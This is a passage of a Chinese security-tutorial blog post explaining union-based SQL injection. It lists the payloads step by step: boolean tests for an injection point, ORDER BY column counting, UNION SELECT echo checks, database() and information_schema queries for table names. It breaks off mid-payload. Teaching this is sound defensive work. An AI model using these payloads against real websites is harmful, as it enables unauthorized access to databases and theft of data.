WEB安全原理(1)——SQL注入

1.Union注入

如果通过sql注入,页面上能获取预期信息,则可使用Union注入。
(1)判断是否存在注入点(区分下是数字型注入还是字符型注入

id=1 # 正常回值
id=1' # 异常回值
id=1 and 1=1 # 正常回值
id=1 and 1=2 # 异常回值

(2)判断表中的字段数

id=1 order by [1,2,3,……]

使用order by语句,后面跟随具体数字,这些数字可用于指代表中字段名,观察数字从1开始递增到哪个数字为止,界面回值均会正常,则那个终止的数字则为字段数。
(3)观察表中哪些字段能够回显数据到前端页面上

id=-1 union select 1,2,3,…… # select接所有字段

上述语句中由于union前面语句显然错误,则页面上只会回显union的查询结果。然后根据页面上的回显数字,就可以知道哪几个字段可以回显数据到前端页面上。
(4)获取当前数据库名

id=-1 union select 1,database(),2,3,…… 

在可以回显数据的字段位置上,替换为database()函数,这样页面便会在该字段位置上显示当前数据库名。
(5)通过已知的数据库名,获取该数据库下的表名

id=-1 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),2,3,…… # limit 0,1 指从返回的结果中从第一条记录开始,取一条记录

(6)通过已知的表名,获取表中的字段名

id=-1 union select 1
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值